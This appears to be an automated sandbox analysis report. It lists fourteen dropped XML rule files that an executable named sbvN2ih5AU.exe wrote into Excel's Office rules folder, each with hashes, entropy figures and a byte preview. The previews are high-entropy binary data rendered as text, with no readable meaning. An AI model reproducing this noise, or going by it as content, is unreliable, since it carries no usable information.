Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.78329015956272
Encrypted:	false
SSDEEP:	24:89qlnGv2TrVV4KEQq6jJ5HQpy3yR/rSkz9FgDd3+e2bD:7lnGvSpJEQqa7QpyCPxa4FD
MD5:	70AE89932CF90F432308540C0F6AD732
SHA1:	4FAF0540BB376A1469703F5C64D00830F851FC4D
SHA-256:	EA434921DE18D7BC6FE607744280AFD39C656918E6FB949A1B54869BE9980BAF
SHA-512:	FF5BEFE76EA873332E05EB935E77980CADC67F62711866B1E60D5299D693FFAA9CE86C08386C6CC13EC1022B2C874E45C00E9842F5E840336BFDCFA3E87BFCA9
Malicious:	false
Preview:	<?xml.j..!..:..0E.Y9....ic..Bb7.....\d.6.f..j.0."..R,.....-.gH..P...........[4j.~..`....wB.lLI..$..R.._bG._0...S...L4....A....Q.'Q.{.y..<z..y)..jKW`..>.!..MY.:....2^.f.....o...f.@Wwi.. .J....x:ISG.........9n.{...c!3................8t......%.N...!R.H.A..S....@?S...KMH(.0B.W....a...K..u.rr..\....\i..o8W:..f..,.F.l.)4$.2%...g......9.....i.."..:......9.pVf.....N....bM..R.....P...Df.....S.....~.#..@......iAo..@..[.p.C$.uG...l..2.3...I-b.w.....N...&..6a$!........MQ...%..HI;.....2k9&].tMJ.....EItz&.....h....;x.......G......9u8.I..5.'.s.EF.j~..3..W?...U..?..v.....Z!..o..z&.rL.......$R2..../..6..,M....)...5.c...E._.)^..:W.......I...........8. ....@.g.&D...*ChI......s.....OD,.w......w.2VT;%74q.M0.{7....\.9...b.,..G.JO...e.I...Z;5J.fS..I0...:.... l}..lz..,.....>..9.X)..K..u.=..(.!....!J5.............\|.+....Y)...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324007v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.784064616065932
Encrypted:	false
SSDEEP:	12:Xe4cpLD/R8jZAjP6E714fCYtRblEBSKpcU9K/mdB1JHZMDkBBhctfSSUdNcii9a:XenVajsP66b47SSWPcYNODkhclh2bD
MD5:	F6FD6524B0F27639B71DD2E977887868
SHA1:	F9AD6D37BCA67AD0866793F216E1B44DFCE4AC8E
SHA-256:	8281FA0B83B3F3C20039CB31E68A4BE87196610E5FC7961975CC9648107D6CB3
SHA-512:	7A96CC11581D1E8052CE283139DC7FABB86DC619A3D9D0944B7873147234E03D393950EE18A201A6AF3ADF1745EDE1F48E819A8C62EADDAC7198AA1A97A1DB4F
Malicious:	false
Preview:	<?xml.N.8w...5.a.}J...W...{...k.....`...QJ.....0.....$5.8P .&....y...~..kJ{1+=X.3:y.l>q{bm.b..ChB. .iw.......k..j>GYUw..$3.....@q.4.c9.&.K.m?..`.l.c.ib.OH."...G..F.q......4...i... ..H....;.g...AQ..2...XTZ.cS....<.QJL.....!.H.H.VY.3.....;7>....BS..A.z.1.....U.z2vjs..MK..f...UcY..7.W.S....-..?.6..xb..5...%..q....e..3.~.\|.Hr./.F.....d.%.P..&..{.\.....0....s.....g.....O.P.@.xj.U..jr...jOA[.}.....~@r....A.cV......!.8.....:.s.....s.b#.....+...e.&..Ca.ff.8..+%2.O....q..L......Y5aI"....m.C[.3...5@.=.+BYBf.j...I.'91T@.[..g.FOI.#.!....PZu^uR.h.P..T.aN.=.P..f...k.H.=...#}..........aO 1..VQ.W}..*.h.'..t$H...AU"..s....#..zH.^.<..}."]bo.V..8.:Z'.nb #...P..,..X.d.D..o..`..od.6.......e..[.xh(r..x..^.}.K.t.!.....!.Q........PK..g!......./.rb.P>.........(VE@"='.46<XB...z..x..O..h8....G...Z....Z..~...#....S...o.<........2).v..gj.4...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324008v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.780414575232038
Encrypted:	false
SSDEEP:	24:/zdM07Q1igSYKL17p181LYum/lsLsUqF6IEumgsKxX+c5veV2bD:/zliK718Z1RpTraHD
MD5:	C6B086EA53A21897815E26D824236642
SHA1:	903506979FA0D8B7757961FE19703A5150B12698
SHA-256:	BD3078FB56DCFDBCAB2ECB4DC4986F43DDA34A32336F6E73E40787F249B4F0BA
SHA-512:	47CC90A64690C6BD7A0D7B893CC2D4B3C392104A5333A0843FC56B55C95E922F33E25C58C07121B1C64B6BC54E7A2C7D66A25EC8BC6838FEA75B4D121DB01F98
Malicious:	false
Preview:	<?xml.Jb.]/N...Z.."..1..3...j$/.-.ZwC}......@i.%.d.X?jIt..\S.3..Ly...x.Kj.S..=.......I.F.wg.kepd..1......v...iX`.b..w9...$.;..cP....j./hk...(...........#X%v..5IF....v.5..pbm]\|..yq..@X.pE.hA..\|P...0Z...Q.<A.G19.jM.D.p.u...K...(.r}...7YCs.1K.a8h..T'?.{..X...<...Eu .Z..w.[5..%.4..U...r....@2........s..\.h.IYStw%..f .....=....n..=.f#....E.+.-....Y...L.....-....~...s.T6.i..C.,..Q).....(.a.+...._.H.1).F ./,,g.7....V....6.;...t....?+.S../4..wo.#.+.??E...!o,......~.y:..vn^...E..mX....`8..._..<.....k.-L.j..2...9.....&..jQR.....@2\y..D.D....$..t.?..#,.9..@^.+....o..../.7...]r..+...wT.O..cA:a:`z.}L.}Ti...0m/.....\|............!...^...(<043.".!-..N.?.........:5.h..[..q..&.VK-.X7......\|..E.#}.^.'....7x..l./...m..`.....a{.......(.E.P.. T.8.-.<..}i..G....*..#..Hv....L..ft..........D.......\|$..,.6iX.J..!.~.t....zmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324009v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.807123354107551
Encrypted:	false
SSDEEP:	12:fSwJRlv4XHOqt4e6Mgj55swDiQaiSQQruuXWs++LteiUFVZTUkUQQufJljQd3PrE:dPlgXHOMgj5iw4Vp+zFDf9RljGyeP2bD
MD5:	B0EC5D876B2DD3E6DF68CE46298EB1E0
SHA1:	61D1495D265E4774148F52BE2FA3C2C096C8FA72
SHA-256:	29D3EDCC2773791ABF4D6F413F1D068C2477079C5BC0C9EC9AFE3188285516D4
SHA-512:	692DEF11D7F981433F90BFBB62BCA6C94F9313BB674E82E80431280567417FEB99493D700252A5B6AE5DD1391695F751984D7501B40FB9A6BF9C79180733D6D9
Malicious:	false
Preview:	<?xml._+..r.9.[(BS^].....p0.!..h..sW.....'.#.%Tvo"....0.....k....'.t..^.X9c........O03..j1..........46.X.N#.. ...\'....ptE...\t.I...+W.r.....c..X ;.......",..:x......!.y..D..#-)..S.ku.<..k..d.!..w.$-.y..;.\w.z.xG..]....x...J/8..s`...i5P.i.K&/..f..<jB.'...-.R...X.........)......e...dY...EO..y..2F.GC9.3\...Vk.+.<....".. .,.fs....U.Y......6o.A...}. >...w..........+{.fP^L4v..{...\|....Y..\|...w:.....Y....X.K..V....9q.J..Mx.{.0.~\..e/Q.$....q.V@..5.Y.........A....^.5.Q......}..x.@.au.Z....W..*..k.....,....FY....WG....J....m...^=..W.?....l..T.j..2...%"...f..Z.\|xBi..9..Q...\b...h...^l.&.r.zm....#.u.k}\|..nG.....d..).#.w.(...8.....gB..)v+...-6..k..v.h..\|\=..>h....`..j.w.S....U.Wq.PQ8Ex.j...x.\|.....nZ.] ./....3.....Tj>..H..?.Zd^O\|.V._...(.A..=.;.....x...W.....@.....i+.Q.4@!/f...p....>.S...<......7K....e..........wo.yVw.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324010v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.770342730856416
Encrypted:	false
SSDEEP:	24:iya2sxpN+BzEmjgV+rr0QqfpT1SIR0Lu2dyQ9wUkkR2bD:iDZnMAT+rLgp7mLu2dfvqD
MD5:	299DF50693C4204B5F6C26FC2CABF105
SHA1:	0F1ACCA52F5B2F008E8567F2944108D43A092427
SHA-256:	FB01FC3335E6B26B739BAD372C7C4B1A3C9B27030B30663BFA995F18544545BB
SHA-512:	921D337F1B06704C4A631E7D209F4D6F5713BAAD1D1E2A4C2582272090B0137295491389A4A918E659661FBDDB7A12D9989D625FB77D26A9D089D02E8F3E5E27
Malicious:	false
Preview:	<?xml.<.H@4a.JA..d#I. .z....u.0.)F%.%H..D..i..9,..a...i.Uh>.....!J(6._..V8M..iFx.O..1.....&...p.Cs..J.0...BW......n.9.%x....>.~..Z..i.-...h.....8.....\.n.>yP.e.8.7.7..D.[Q...x.v..l....dw.bJ..7.4.j.nL...7.5./!.9.Q.(\|Y..&.......SH..........3E.......2..p ...gb.i9.B.Ray...D.p..&.e?...K.c.Q......&..U....s\|)).8.....`........{.+...N.../ ....4.2..w.EL..M.G...i6..b.."}...l...lh.&.T....j.=..os..r.r7..\|-.......S....r.{..!.Q.\...d..Bx..zc7b}Ve..dA..e.#Lq.d..?...I.t.......I!.z-...n....R..a.W....0;.!RP.k.~J..,uP..{.../....-....1_.?%.P...F.\|..M.79./.-9x].=.:m..G...;.M.fO.`."..C8.T..}Syp.<..(YN..(..p.....K(.....bX....L....F.d..G....v...(.io./.q.u^...y.:@'.d..)...$T+d..).L7...C}..B.w....\|.....&..>i....I..V..(..\|3.k.........W)..H.!..f..p!...........z.1Z;..<Tx.eBT.....\|...w9...!..._.!..e....R:;..FM..C......#.k...(..qq...$.@.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324011v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.789891938338321
Encrypted:	false
SSDEEP:	24:l/gDajmwNCnybm2n1objR/5MntMfqxB2bD:loDNnemGonh5Mnt1aD
MD5:	5AC35AAA9C901B200150D008831B25D8
SHA1:	43DD4EB5F4ACA4CA2213E3DCEB5BD9E3BF9DD637
SHA-256:	2C2C71CB2E37A1FCAC0BD0D1DA5EE7B2F9A217D539CD85098A29597886BF4F5D
SHA-512:	4CFDF6DF648DC1FDC52C95FDD14FC2C8C09F4BF9508DBA524390C68BEB5D52AE6A0B27BCD29406B658698E6CB581FF8D6557274B217259B9DC955711F2193AEA
Malicious:	false
Preview:	<?xml..y..L..]....eN.....tN I'..J..A....R.....j...s.....?...35....-&.P.....b ......b.j.l.......dk$.!.~..~"nO..^.l.TL..0.E>..q5.........k.AG/X.=.WM...'........+v..sp%..I...PO..........\|=8d,(...%P..W.d......YLU(.Zfk.R(...J..k....2+...V.........J..D=..X.e.T.....p...g...W...+....a..?..;\D.....'...<e./...yE..UF& ...@l.....5..!...3sf:...).....K.v#.Isr........a.f...=..b.n.%............l.M.........HI...mw...K..'...&P..8w......{i/2.=.....C.F.......g....~...b...&.....Vd.......^H.M..U..K.................:..I..<..mO...W..q...`..J...)..o....-....(Y6..+.PEx..T.....(F,&.....J.3..1H5....\4...98e..W..g.....c.R.0..}..x6.M..k....$h...4...n......a.S...w.<V/ I~.y.tn......7zV~...?..E.E...../..K.....ox/)(..H.1..pE"....U...$RL.{.d..y.........i...~e.=..%.O" .F..k5."..k.g]D..-.;V......\A7.c2........5%.D^.....{...\|.".K.m. .pa6..1o;$..ht}..D.Nn8.2...J@..v....J.>../H.....y.?Di6..5..gH..P.r.7.l.%..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324012v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	7.853975054972099
Encrypted:	false
SSDEEP:	24:qBPwKE9504btZo9neLSW8kw0w6CglYPL6Hzhhh5kPAdnTCOCI2Vcy+WEk+mgXgLw:qB4D5vInUSbenYjAFhDSAdTCDDVhEnDD
MD5:	C03A9F56ED7B04B5E65CF572319FD94D
SHA1:	AA3B652BB1296FB87C60CD737063042B4E80CC7C
SHA-256:	D82A7FB1CE26ACCD08D9FDE3555F75EB838D518285169BE2ED501A5AC9ACB82E
SHA-512:	37611B6313C655B0838B564BAFCAC045F133B3604A412A9D366346E20670146FB2D613EECC6E2321C44C7525E1FB92D00517A29D1963C84EE36DE1E4752A5BBB
Malicious:	false
Preview:	<?xml.K.m...]\|9.P.j.?n[ZtfN.....CkX}b7....g...+....T...x/$.ba.....r.... .Sh..\ax5.#'...!...\|9..[..En.D.gU....w..D.J..{!.0.'.._UVN.z...B...O.E..`.h'..a,6.. dzx..{#...2..[^.X.iUw@...F..[&6O..V.o.f.@Apd3;..Z........t.0.....M.w.[b......p.f.\|4.o...me.D.B9.S...983E#..R..T.p..7I..1U.UF./N....].Q.B..U.PiG..{....7\|V.R...R...>..M.#r..?.Mb7.uj.Y....L>..h...1..#..s...+...bw'sc7.m~.M.gDa.g.;xt..Y.F.O..?w..KJ.4.<.%.U..o6..cj..p..a.KB.Fp.Y..n..r\3t./...+M\|.b... ..7..&iT}..T..j..T.?.......r.A..o.;.'..6.z.....(n.......c..c...[#6.{..u.n..uVR..S.\.L...O...@}...M...C+..'^Q.h.C.,......h....Z.`..i.j.Am.`(.. N.....:.Ar..p[.K..&..n...{..m..V...d.]..^...t...8.E ........p^l....9E..!..`......M.z...,!.9L^.....%..M....G1.(&mY.72...IQ....Z....T\..5N.....V7b.......G.r.].[0.=,...\|...1.......Wh.. ..2=$....8G...."....%..%.7...0-.+....4e....G.<gp.........H...<..S..../[.M...b(.;9e......q2Y....(/...!b..Q..i........@...}.QS...{~3.C>.....8.Oq.z<..wr....@n.>.L.0.P...p:..\N...J~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324013v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.817717055943982
Encrypted:	false
SSDEEP:	24:Y1ZPTp+AgoBtHMRZ+G5tz0eN/A/0eL3lgHt3yyO4qQvDcW6Nm6sM2bD:yBTzBFHgoeNdHtCyO4DU8D
MD5:	DF4ACB35B01B6BCEEDEB22005D101478
SHA1:	0CD7CF3E62B84A2304D0DF19ED5C801B761C511C
SHA-256:	C994B9236F4E6FF322CDAAE89F903C8DADA649A70A4BBE4E484190F8312D9F8E
SHA-512:	4DA4863747DC16429C1B8C59A8EDABDE177BCD5ABAA8AE909472FACDE72F91B5AA4B50C90A0C00C098DE5A2BC00E4DC10272B6092D5BD965D03B0EA8208A0BE0
Malicious:	false
Preview:	<?xmle.f.....3aF!.5~.$..%.$3....Lv..5c...@j.#j.u...P..Z..>)..4.....R`.U....r..P.6l......^........Cx..S.0U7.d...n..H..[L.n.K...H....(..t`.H.>#.w.....N.?..R/..k5..f..VuH7{.Q..CH.s.Sz.lV.s.h....F.L......>.=..)W.J.e-...n.!."..w..U..bc..UZ..P\Jg.?..S-..h.....#..a.sZ ..}...-{g..A...cz..]...mt.f;..(. ......n.....Yc...%K...>8(A..Sdk....0..E6.......".Z.#./V..l.{j.....@.q0.H"I.-]._.U..\..N..\.M..9R....x............c.0.4....2%.[........o.5..r.?.,......W=..G.\|.M..1.....6.v...n......N.Y.f...v@.R..._x.9.8`m..8......>l.9^z}0.dY..9..... Y]L.4..h.>Y..[.~.^g+...j..^NS.@. b{~...p..u..._Ct{.t.J.......N. =.6..3...'u..T.../.".3.sEE.l.Z8..L$H....kc.I...v.s....9.L.B>p.B)..W..H.an.!W.9h{...M.Of.....-.{I.zb&.s...g_sPOy.=<?qY/C.9.CdU....C.....D.e"..3@...iQ.....pz.[.....;.#.r......A.D.\.?.P.0..>...E6.`Q.}._[..8g.f......6...5..&{...R.~]Z..4S.}6....k)...R.K.cHY;..<..:....P).s..b....Q..vk.P.. J..6.1.L...'..Q..t....a........&.D.F!..=U4....2@.......)`.....hH1....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324014v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.795427274614124
Encrypted:	false
SSDEEP:	24:IaK7KrKa5shCGvqeHLdHH7qsFkQQb6zCm3hj5BGQ1TA1TrT/sV2bD:FKOrKCQCGyerIJX3Oj8Q1TA9PxD
MD5:	F3D98083E5962F373BF7F800561CB7F9
SHA1:	F53FE3872372837E2007759549372EDE070D0163
SHA-256:	1F96BEAB51CFB996B1AFE3443CB2CBFB39FBE8E029686DB8A7E78EE7C791EAB0
SHA-512:	86896D2A03A26C31695DCB41838749A409981E5ACBC8C54EE7FFBFDE5C05FD729D9CC0B4969FECD9D72566685FC166D83629FC5436420C0A8CEA375545699327
Malicious:	false
Preview:	<?xml5Y._....j}-.E\|W.O..&A..:..S5.z..G)9..!b.Mz{..?.>a...!...`....s..;...;...........K..c.........j..c. 2.j\|.QC..s...u....t.....Aj.To.6....5.3.....%..m......+...b...I/.(..l....L.....!<.0l..c...8...../.^....K'...\...8...!.1...N.1<.m.5.ppL..Yf...X...a7.f`i%.o..eez&f.c...68. ..#.d..p.......?.N./-..u..`!.H....(~Q{...B.9..vi.\.jR....7.3.{.M-...YW@i.......'Y..I..Pk...B.4z..4=kb....5.62.}e9.<..=..]..e...?".L.;.ocy.../.....P...@V&./v..vX.U.}...l....c.xq=...,Q@...7...P.p.j3....zU............(}3..f..u.J.[.$?..S...e.,nI,D$..;v...n.<.....9.nc..;.........(&W+).D....:`.n2..cJ.i>.......Qo..._.....LVB.....~Z}..'U.,.hfE.MM*..&Z......k..`.o..L2.dJ.(L]..]bc.1HN.%..X...x...!3Q1`..;.Z,.@o. ..;j....{.5`c......^q.?cJ.F\'......n..E. ...p...5u.=..Iz..{.i..O....}..-.re.pX.K.5..;).5.......uv.....rgJ...@.....(.NW?.r......<.v....p.........x6.b...z.V.N.Ul.2.Y...5.f.....g..5P.b.....zS.?...R.f........4....>.R...sc..m.R...F....em..mMsRxMUuXypapZbGOAfxD9pczHmW8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324015v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	7.8274216165447745
Encrypted:	false
SSDEEP:	24:CsPGPa49irEymkrFWN/WJCkUev19UsjcozEQAm3Vg2bD:CsPGXRkJNCkUh9ooc3pD
MD5:	81B0534CBCD3F4501FEC839297F17A78
SHA1:	0C0C9BEE135644153259D28EA4C20F532F786E4D
SHA-256:	A93C90EF899115AFBB00E3D97048CCADEC90EB49A5D40ADC8677B542D0573787
SHA-512:	09C4CF095D7C006A634BD19E9AE3752FD750D6AA686968EFBC95295D8D6C54A275961056D67A1D986B26A1F599929F7C3620A2D2BE78ED776EC5AC2D6898C545
Malicious:	false
Preview:	<?xml..d.$.e..h.......o..DMK@&.......$.K...}-....._.ER^=.U...i...1.....C..5...1gg.7[.=...q.b.<.y'..{'....2...].-.M}..H..tBn...[t..&...........G.B.V.~M..- .=Sr\"."......>.l..^..p0..?/(q.A}..,{...D.,.....E.8.P..f/..m...C`L.L;.I2..}B.4.4/bY.....12.N}R..kc+J..<t!@z.@/Yx.....\.......vl..EQi6.+.:a.&7..d...-..s=...-..zN=..=..'yJ.J.j.t...M.m......Lk...4F..0....c\.....].x\|.c....V.}).C.\.....p...A.JT.RPE\|.j...Of..o.a.hk.vc.T...3o..)`ie:.S.....>.....:.n..S..T.F........X.u.Y]...t.....s<...lNB...a.<v.'.x....e.LE.........\...\|9..R...J....zvl..7zr\...!..0.>.h.rc..Rc.J.wL..=.....T...a".....{...k.z...k..VR.......`[..0.,,'=.k.m.e..{={.4wM..O..4..!..m./...DZ...$.....8-Q.2......)..(l\..V(4.*.1.:o.,;...#.d....@\Z..I?;...5@...R...o......DC..:...g.U...3<...O]W....k.....x)."^9/...(.d..`._u. ..z..!.C.......?\~S..$.:y~\|x..V..V.+.}..4...>..L...;...5iN.\|$?G`.u.g?.7St.....y...p....u..Z._.<....6H......H4(....._..I....\|?....+.?..%.-..@Y.a.eH.......T...J......[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325000v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	9303
Entropy (8bit):	7.980110864646927
Encrypted:	false
SSDEEP:	192:2lu0bvyHSQjnzQILKZvlxoRPC0IYQWqKDEMIsn1OM578LGWRQPmiUw1:euIaHHjs++l+PCtZWDhD1b5oLGEdQ
MD5:	C92E66D84B1A08875F306C9CE07FB22B
SHA1:	405723E137116287F09270FEF55016691C8B22D0
SHA-256:	0A1F068061F59E837BB1ADF7F51E0CDE27893FD79E945408512DAD56A46AA664
SHA-512:	485034FB8CABE4DB25F0C24ED22870EF915C8CA858537FECCE14FAB9E84C297200619E42101C316CE1822FB1CA84DCBB85FD99399DA91842AA2FADC851FCA2CB
Malicious:	false
Preview:	<?xml".v.d..&<..J....$....'....yp.N...._[.N..% /..L......\..q...o6%C....pv..!M....f.^.R.......&-u.G./.......!..q".........R./[$,.P[.:7.iFK...A..T...+C..x.W...~..#.....i..............V.?.=..e.#..s....0.dv.,..\|@%.....[..ra.F%g..e...+....u`......L}....A.mx.O....Z.GH..$:l...j.;..<.FZ'....$.9..+....Z\|.IE..K.S$Y.....#.....ED..Xt..z.93..BD...t6Kn...u..{:.ie.....L.n..R~...P.....T...U....gIFH..Gg.........9.....j..+.<.:.o......R`.2.;....R..G...8.a...}.y..g.r..S...~.7 ..w.7S.!...5..yx.n_}...A7.....Hrfr.M..NMud=..d.....;..O.Q.....mP.....e...hHL....I........."....6..y] d..]./PT....F..s....-.......J.h........\.d3.y...5.,N\|.@....q+...Y....?j...j.=d..x... }..4.h... ..dWH.Q....W.&I...D1....wc.&y.w..\|2..%7$\. ...(... .~...-...T+........`..<..NKv..t..8.t>....G....[.R:...`....Fa3.h.4.(.U.....vP/..m..T..G.\|z..).0/..m9.qt.,7[.5.ar^k..z1.S..T.8_x...qr..#.;...x.Z<.`.......4F.d.............8..B..<.M6...&.i..h...zs.{+........./.0}.;.U....Xr..>"..zZ.<.[.D.Hz.Oc..3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325001v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	7.924649960593342
Encrypted:	false
SSDEEP:	48:W+PySk3LIyJ3olESDG4GrX9MVJWVOyRBtvGwERiu3F+NsoZmxzXKNI9PD:3PuIyJ4ScfGrX9uWVOy/8uuVEe99b
MD5:	0FC7D289B0E2B5EB4429618D895EFD58
SHA1:	78D21E7DD9EBD9F02BE251CE443E854662E6AFB4
SHA-256:	40ED04205C5CA3372144CBDD2D351B0B3D8CCE937D7258733E584A2AF182C568
SHA-512:	1C128286AC06FC65B20AD7BC9B42A2416CD093C3956CF027BE8B55F265F152ACA045A700E144F4F2374CA665AF868ABBC4324BF2AD72F83F35ADC739DC161860
Malicious:	false
Preview:	<?xml..B#....D`.....:^.J.5.@.G.9..p\|.F....W..n....S.0....V.%.....x...tP'...9^..2i.P.t...4..N.:....r`..F...?....,.<.d#Nj-..r^@.^..K.9e....P..z.sk...N..aY.k>.,jK..._..3)e(..8p......[......^%....f.+k..(l.& zUQ..E.......\|...".8n..M......z...R....qT..c.i6......UI......[N...l.m.....V.-b.D......-i`........O...oa.V.....P..;4.....lT...U..(.t./2...(8... .F.@E4.,...b.T.J..............N....19%....a...j..K.....-.1[o.....FF6..6.j`G.E.$o-^..d.q.;...:Rpg..........x..f(..fN..k...x3)T......A..F.r.%.....b...mO.f...Wa'...n.tgU.1B"..[TB..^..................gc... .......q.3.A/...z.Q..s.:......:.....Q...I9n.l...Y2...4dQe_3..3....P..3...}L):....?.bgaj+.....P.....q....T..n...4(./.........y].@!s....ifL....L....P.0..".y..d0O."..A.G..8xA5Nl.X.>_]h..<`..%.N.v....}.A..=}kY.j`o.....8..H.:.%.6.9...\|...Z..C....r....(..<7..U5.Q\.2,.q.........6*\..A.'..f]bF..,6t..........Jt.]G`d\..$..sP......YT.(w..;.kV.......F..ifB..........LI.^>JQ...].f.f......la..4.xj......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325002v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.910980982634827
Encrypted:	false
SSDEEP:	48:AQR8pmZnhMbihehEQBOL7t+V6WWVJY3muwqkoGoDf8wvpiCND:AQR8pmZnRhDftG9WV2muJBbDf/vpiC1
MD5:	BA3E697371442410B1EAF7C2A6FBDBA3
SHA1:	1B56FC5B7FF5FDFAFD1F0B250E9E8B64C42FD4D4
SHA-256:	49FDDAADAF3D8DD4F7AFEFFECA04CC77A579A25EE255AB78C7BC0D4AD45CAEAE
SHA-512:	D6AD352DFA634A7FBEA74528A0B80738F3953646214ABC7DB9FE8D4D1AA6E15678A9AC43D976D14FAE48CD2937C739EC2F3151B04B9C3AF53E4FFAB92D1B1032
Malicious:	false
Preview:	<?xml..h.SJL/..\|.M.6hwy("y...U2....o..?./?....3..P..-..l.x..F<?...Z...H.$n{v.....~...j.7..........h.h0.2.p...[9...a}6....m....N\|.ed....e.....!..1.NO..".z.p......#.7..k........i.....$r[Y..o..>..7QU.../.Y29h./.._.}&bg.i..yv..W.Z<.L.%./...L..`!b....4.\.1V.E..yc.9..b.....q.#...\|..G..n...U..-....GS.RhJ..>...D.!...........]..6....s..\|.h.....%#.....]\|.........3..._.F.i..?.:..bW....W....K9...B...6..dp..u...]...vx.....s\..f..t.!.3%..."....Z..[...9h..S.4Q@.R.?O.P..UM.&..Y..K3A.K.`.L.}Gy..I..0.....>8..~?..p.E......<9.0..".Z+..<.^.+Q..,&w."Kq_.o%.R.,.Ak.H.H.1.C.I_...D..[./....o>D..j. .].v......+...R.3b..CxN,[.U....0T.6.r..p....)..e...e...:.....9`2= .HQzW=.}N..!\|.yd...b:...!....$.tR..=...g-.;...../.9&.!...n..:)`.....d....q}XO..Q.........E@KS.XY.........`.B..i...G...y.`..Z.....'...Z..r.@..K..]ltS...,-...5.!rb..x. ...5..J....}.j.5.2.......-.-E...`..,Iq.v...X5n.....&uzh.L@...\|.d.]-.h3xa#a.S<$mo..-...-&...L...U........w..F..+...Z....#l.Kb?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360000v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.826920282130062
Encrypted:	false
SSDEEP:	24:P7OGOB+G6I/h3l409A9m/xjl0wzSTjz3CMiE6Wb0J9TYvei7cusj2bD:jXGl1lU8/ll0fTXyMiE640J9EvKQD
MD5:	E82512CF8A744AD4377AB3CD1A8708AA
SHA1:	C21A4AAD225717F4BB73B2D2664423D714371D29
SHA-256:	4221456D7DB68D212553A7D02EB8390128749809EA11BCC6C61A51DBE6BD0AE7
SHA-512:	A5AEDC9E6406E42C29BA01A61ABBEB10DDDAA8986DFD3E6EEBCBF85FA46136B3A173A17C19B4AF287E70FAB94602118032AE3771A8E8E475DADD5098E7E56398
Malicious:	false
Preview:	<?xmlz7K..A....H@.......Q.Y..r...G.?..\..5.S..T..."..".u.4.D..j)..Z=.>i..h..5.N.n..A....ms.z3...X?...m.yT....ur..6.......Q.HK.(.4..UE8..rW......./...R...i....._.....9.W.t.....$.y..Q.Z .....Qh...".\.\..X..W.-.C.m/y.e.OlaJ...{l...../h}........n`..A.G..`.l.....".LS.ew..C.......q...C..9'.m.........H=........Ur.....u..."......8.=.A..c.iF.a..=.Uk.Xb~..r....Dv...[8.%R`....2m..6....~t.......W.Zt.}=.\|..4q...."..L...=:@...).....".k....'.H........9.RM....{.XW...j. ....kML.......Q..........*......[.-..w-..n.S..G+_(........6.65).....=....H.=^..y.mU.Z..R....(b5..qV..=.}.i.....w..r.....E...o.\.(^P....W.5.[Gec..q.^+P.s.i\.5YoVnU........\|4....'1...._NU..U\|]"...131k&q.C...A...>+.4....TZ.H...\\|gTiT.`.0V.......>..S&..D..G\q...+.y....P....L....&\|.8...F.~.D6>.....3...8~.29...aZ....T..h<.AJ.qfG...........P......v......@..E.\|..\|..Y..N.u'q..E..S...AGp.^).G ...K...J..GA.18\|...b).....`...c#..6..=6Z.jul/B:f.q..d..Ca.-...W.....}....Q.?,..&.....c.M...^hp.&E...b

